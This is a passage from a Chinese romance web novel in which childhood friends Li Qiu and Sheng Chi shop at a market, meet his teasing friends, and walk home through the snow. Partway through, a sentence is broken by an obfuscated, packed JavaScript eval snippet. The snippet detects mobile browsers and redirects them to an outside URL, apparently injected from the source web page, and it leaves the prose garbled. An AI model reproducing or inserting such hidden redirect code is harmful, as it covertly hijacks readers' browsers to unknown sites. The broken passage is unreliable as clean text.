栗秋摇摇脑袋,司机刚停下来,她气呼呼拉开门钻进去,跟司机报了盛炽的尾号。 “师傅,尾号5933。” 栗秋能记住的手机号不多,她爸妈算两个,再一个就是盛炽的。 盛炽在她身边坐下,看栗秋低头解下围巾,趁她要胡乱团起来之前,他先一步拿过来,整齐叠好递给她。 栗秋嘀咕:“反正一会儿还得戴。 盛炽好像说话了,声音不大,刚好出租车启动,栗秋有些没听清,只模糊听到好像是两个字。 栗秋瞪过去。 盛炽这厮包是又骂她了! - 贺霁川赶到和程方凛约好的地方时,刚好下午四点。 程方凛问:“盛子真不来?” 贺霁川嗤了声:“他忙得很。” 程方凛“啧啧”两声,勾住贺霁川的肩膀摇了摇头:“没事,估计忙着呢,人学霸放假肯定也不是光顾着玩的,小周也快放假了,等他放假咱们再聚一次,叫上盛子。” 贺霁川倒是也没生气:“行吧,到时候再约,咱俩先去吃一顿,半年没见了。” “在外地老馋这一口铁锅炖了。” 俩人朝路口走,准备打车去那家铁锅炖,这里新开了家菜市场,这会儿正是人多的时候,得走到路口才能打车。 远处一辆出租车停下,下来个个高的男生,然后又钻出来了个穿着黄色羽绒服的女生。 贺霁川一个脚刹,拽住要走的程方凛,眼睛微眯看向远处:“等等。” 程方凛:“嗯?” 他循着贺霁川的目光看去,俩人安静了会儿。 程方凛问:“那不是盛子吗,旁边是他那发小?他俩咋在这里呢?” “呵呵。”贺霁川冷笑,“对啊,不是去谈十个亿的生意了吗,咋在这里买菜呢?” 5. 第 5 章 说是菜市场,更像是个大型的生活超市,里头还有卖生活用品的。 栗秋在入口找了个购物车,直接拉给盛炽让他推。 她一身轻松往里走,对着手机备忘录将苏芝华发来的菜都买了,看了一圈,瞧见不少熟面孔:“所以那边的菜摊都挪到这里了?” “嗯,说是这边的市场更大。”盛炽推着车跟在她后面。 栗秋点点头,指了指烧鸡问他:“你要吃烧鸡不?” “你想吃就买。”盛炽和她从小一块儿长大,栗秋一个眼神他就知道她心里打着什么算盘,直接越过栗秋拿了板烧鸡。 栗秋笑嘻嘻说:“那要不再来点甜甜的?我刚刚过来看到有卖烤奶的。” 盛炽自然听得懂她的意思:“你在这里等着,我去买。” “好嘞。”栗秋挤开他,终于主动推了回车。 她说的烤奶铺子是开在市场门口的一家小摊,两人刚才路过的时候,栗秋的眼睛就一直瞅着那里,那会儿人多她没开口,估计这会儿人少了点。 外头还有两三个人在排队,盛炽排到末尾,给栗秋拍了个照发过去。 盛炽:【吃哪种?】 栗秋:【红枣玫瑰的。】 栗秋:【小狗比心jpg.】 烤奶做得慢,盛炽就看了会儿手机,刷刷科三的视频,刚看完一个短视频,肩膀被人拍了下,左右两边都站了人。 贺霁川:“十个亿的生意不谈了?” 程方游:“买菜能赚十个亿吗? 贺霁川:“我们的友谊果然就像一艘小船。” 程方游:“怎么说翻就翻。” 贺霁川、程方游:“唉,痛心疾首。” 盛炽将手机塞回兜里,白了俩人一眼,反应过来这里离程方游家里倒挺近,估摸着是贺霁川先来这里和程方游碰面,俩人再一块儿去吃饭。 他动了动肩膀甩掉两人搭在他肩头的胳膊:“不是去吃饭吗,这会儿再不去,一会儿你们得提前排桌了。” 贺霁川冷笑一声:“那你不是要去谈十个亿的生意,怎么在这里买菜呢?” 程方游纠正道:“人家是陪别人来买菜的,兄弟哪有青梅重要?” 盛炽皱眉,给了他一肘子:“说话别这么欠。” 程方游捂住胸口:“嘶,你下手真重。” 队已经排到了盛炽,他上前道:“老板,要个红枣玫瑰烤奶,半糖。” 盛炽扫码付款,等了两三分钟,接过打包好的烤奶,贺霁川和程方游俩人双手环胸站在几步远的地方。 “这就是十个亿的生意。”盛炽走过去,拎了拎手里的玫瑰烤奶,“过几天小周回来,我请客吃饭,今天你们先去吃。” 贺霁川:“你跟你那发小不是闹掰了吗?” “谁说我跟她闹掰了?”盛炽看着他。 程方游音量拔高:“你俩不是报志愿时候吵了一架吗,后来你去她小姑家找人家,还把胳膊摔了,你那发小都没来看你,这还不是闹掰了?” 盛炽皱眉,沉声道:“她不知道这件事,跟她没关系,我跟她也没闹掰。” 手机震了震,盛炽低头看了眼,是栗秋的消息,问他买好了没。 “我还有事,过几天我请客吃饭。”盛炽抬眸和两个兄弟对视,彼此沉默了瞬,接着他率先开口,“我受伤的事她确实不知情,过些天再跟你们解释,我俩的事自己会解决,别乱猜。” 贺霁川和程方游瞠目结舌看着盛炽离开,俩人站在外头安静了会儿。 程方游道:“盛子是不是真喜欢他那发小?” 贺霁川点头:“那不然呢,不喜欢人家,天天给人家背包,刮风下雨都跟人家一起上下学,发烧了也不请假。” 程方游嘀咕:“那怎么还能断联几个月呢?” 贺霁川拍了拍兄弟的肩膀:“在感情上如果俩人都倔,就给彼此一段时间,让一个人先想明白。” 程方游听得迷迷瞪瞪,愣了半晌,问道:“你这么了解,那怎么还单到现在?” 贺霁川撸起袖子:“你那张嘴不会说话就闭上!” - 盛炽进去的时候,栗秋已经结好账了,甩着长长一截小票。 “我爸妈给了五百块,还剩两百呢,你想吃啥我请你!” “不用,自己留着花吧。” 购物车里放了两大袋菜,盛炽一手拎一袋。 栗秋跟在他身边:“你等会儿,我去买个东西。” 盛炽还没来得及说话,栗秋一溜烟就跑了,他索性往门口走,找了个空地等了她一会儿,几分钟后,栗秋拿着两根糖葫芦跑过来,还拎了两根包好的竹筒粽子。 “喏,接着。”栗秋递给他,看了眼盛炽两手拎着的购物袋,哂笑一声收回来,“我给你拿一袋。” “我拿着就行,糖葫芦到家再吃。”盛炽躲过她要来接购物袋的手往外走。 车早就打好了,他们刚到路边,出租车也到了。 到家正好六点,外头的天黑透,巷子两侧的路灯并不多,隔二三十米才能见一盏。 盛炽拎着两袋菜,栗秋背手在他前头两步远倒退着走。 “你去过泽南吗?” 栗秋在泽南上学,盛炽在苏城,两人一南一北,飞机都要坐上几个小时。 盛炽语气平淡:“去过。” 栗秋瞪大了眼:“你去过?那么远你什么时候去过的,咱俩记事起就在一起玩,你去过哪里我还能不知道?” 盛炽看了她一眼,从她身边走过:“假期跟朋友去那里玩了两天。” 栗秋又来气了,立马追上去:“你都来泽南了,怎么不来找我,我就在市中心呀。” 盛炽没吭声,栗秋也想到什么,一时语塞,走路都慢了两步,磨磨蹭蹭跟在后面。 盛炽没走多远,停下来回头看她:“你属蜗牛的?” 栗秋瘪瘪嘴,小声吐槽:“迟早把你毒哑。” 盛炽这张嘴从小毒到大,栗秋过去没少险些被他气死,她又和盛炽并肩走在一起,路过自家店面的时候,苏芝华和栗泽刚准备拉上卷帘门。 “小秋,小炽?”栗泽回头瞧见两人,脸上立刻便挂了笑,瞧见盛炽左手右手挂得满满的,赶忙过来接了一袋,还瞪了眼栗秋,“你这孩子,怎么不知道拎点?” 栗秋还没说话,盛炽道:“不沉,我俩打车回来的,也没拎多久。” 苏芝华锁上卷帘门,走过来揉揉栗秋的脑袋:“你家这宝贝姑娘从小到大,包都没自己背过几次吧?” 栗泽想了想:“还真是。” 栗秋偷偷看盛炽,冷不丁和盛炽对视,他们之间就隔了两步距离,盛炽垂眸看她,黑眸沉沉,明明是疏离冷淡的眉眼,外头不少人觉得盛炽难接触,栗秋却从未觉得盛炽有多难相处。 虽然嘴欠,但人还不错。 盛炽抬手敲了敲她的额头:“在想什么?” 力道很轻,栗秋回过神来,捂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088042|195398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住额头瞪他:“反正没在想你。” 栗泽和苏芝华走在前面几步远。 盛炽嗤了声,从她手里拿了根糖葫芦:“看我就光明正大看,没不让你看。” 栗秋反驳:“那你不看我,怎么知道我看你?” 盛炽承认得爽快:“我看你了啊,光明正大看的。” 他抬手摘下栗秋脑袋上的一片落叶,顺手轻轻弹了下栗秋的脑门:“呆瓜。” 盛炽转身往前走,栗秋盯着他的背影,下意识想骂他,还没说出口,灵光一闪想到盛炽之前说的话。 ——我喜欢像企鹅一样的呆瓜。 栗秋有点懵,什么意思啊,“呆瓜”是盛炽新的口头禅吗,见人就骂,还是说…… 总不能仅对她输出吧? 盛炽咬下一口糖葫芦,听到身后跟上来的脚步声,放慢了些等她跟上,两边的商铺是玻璃门,倒映出两人前后相差一步的身影,栗秋半低头不知道在想什么,只知道跟他走。 栗秋从小呆到大,在学习上脑子转得很快,换到别的事上,又时常迟钝。 盛炽看着两人交叠在一起的影子,在路灯下拉长又缩短,他忽然笑了声。 栗秋本就因为他的一句“呆瓜”心烦意乱,现在对他的一言一行格外敏锐,听到后困惑抬头:“笑什么?” 盛炽嚼着糖葫芦,下颌微扬指了指两人的影子:“还记得什么原理吗?” 栗秋白他一眼:“说什么梦话呢你,我只是毕业了,不是失忆了。” 她快走几步,离路灯越近,影子越短,走过路灯后,影子又逐渐拉长,栗秋转身对他说:“这叫光的直线传播。” 盛炽一手拎着购物袋,一手拿着糖葫芦,明明不该笑的,瞧见栗秋一脸骄傲的样子,又觉得实在太可乐了,暖黄的灯打在她周身,她又穿了身鼓囊的鹅黄色羽绒服,更像个胖乎乎的企鹅,没忍住笑出声。 栗秋顺手捞起花圃上的一团雪砸过去:“你笑什么,学物理的了不起啊,我又没说错。” 盛炽没躲,雪球在他肩头砸开,黑色羽绒服上挂了一片白,他随手拍了拍,又咬了口糖葫芦。 “没说错啊,你是聪明的呆瓜。” 栗秋踹了他一脚:“想吃瓜想疯了吧你!” 一脚刚落下,几步远外的苏芝华刚好回头看见,立马指着栗秋:“栗秋!你又动手!” 苏芝华和栗泽从来不凶盛炽,只凶她。 就像严慧芬和盛涛成也只凶盛炽,从不凶栗秋一样,两家都反着来。 栗秋登时怂得跟鹌鹑一样,往盛炽身后一躲。 盛炽低头拍去小腿上的雪,弯身之际,又没忍住笑了出来,他直起身子,侧首看了眼躲在他身后的栗秋。 栗秋瞪他,眼神示意:往前走,挡着我。 盛炽咬了口糖葫芦中夹的那块哈密瓜,栗秋买的不是纯山楂的,只有两个山楂,其余都是些橘子青提和瓜果。 分开的这几月,盛炽想了很多,过去从未注意过的事情,他在那几个月里翻来覆去地想,总算明白两人的嫌隙在哪里,栗秋在生气什么。 以及要想摆脱朋友关系更进一步,靠栗秋这呆瓜主动,怕是得等到猴年马月了。 想明白的那天,盛炽趁周末,赶了早班的飞机去了泽南,在沂岚大学见到了栗秋。 小没良心的,离了他过得仍旧欢天喜地的,笑得一如既往好看。 可是栗秋每天这般开心,就是盛炽最希望的事情。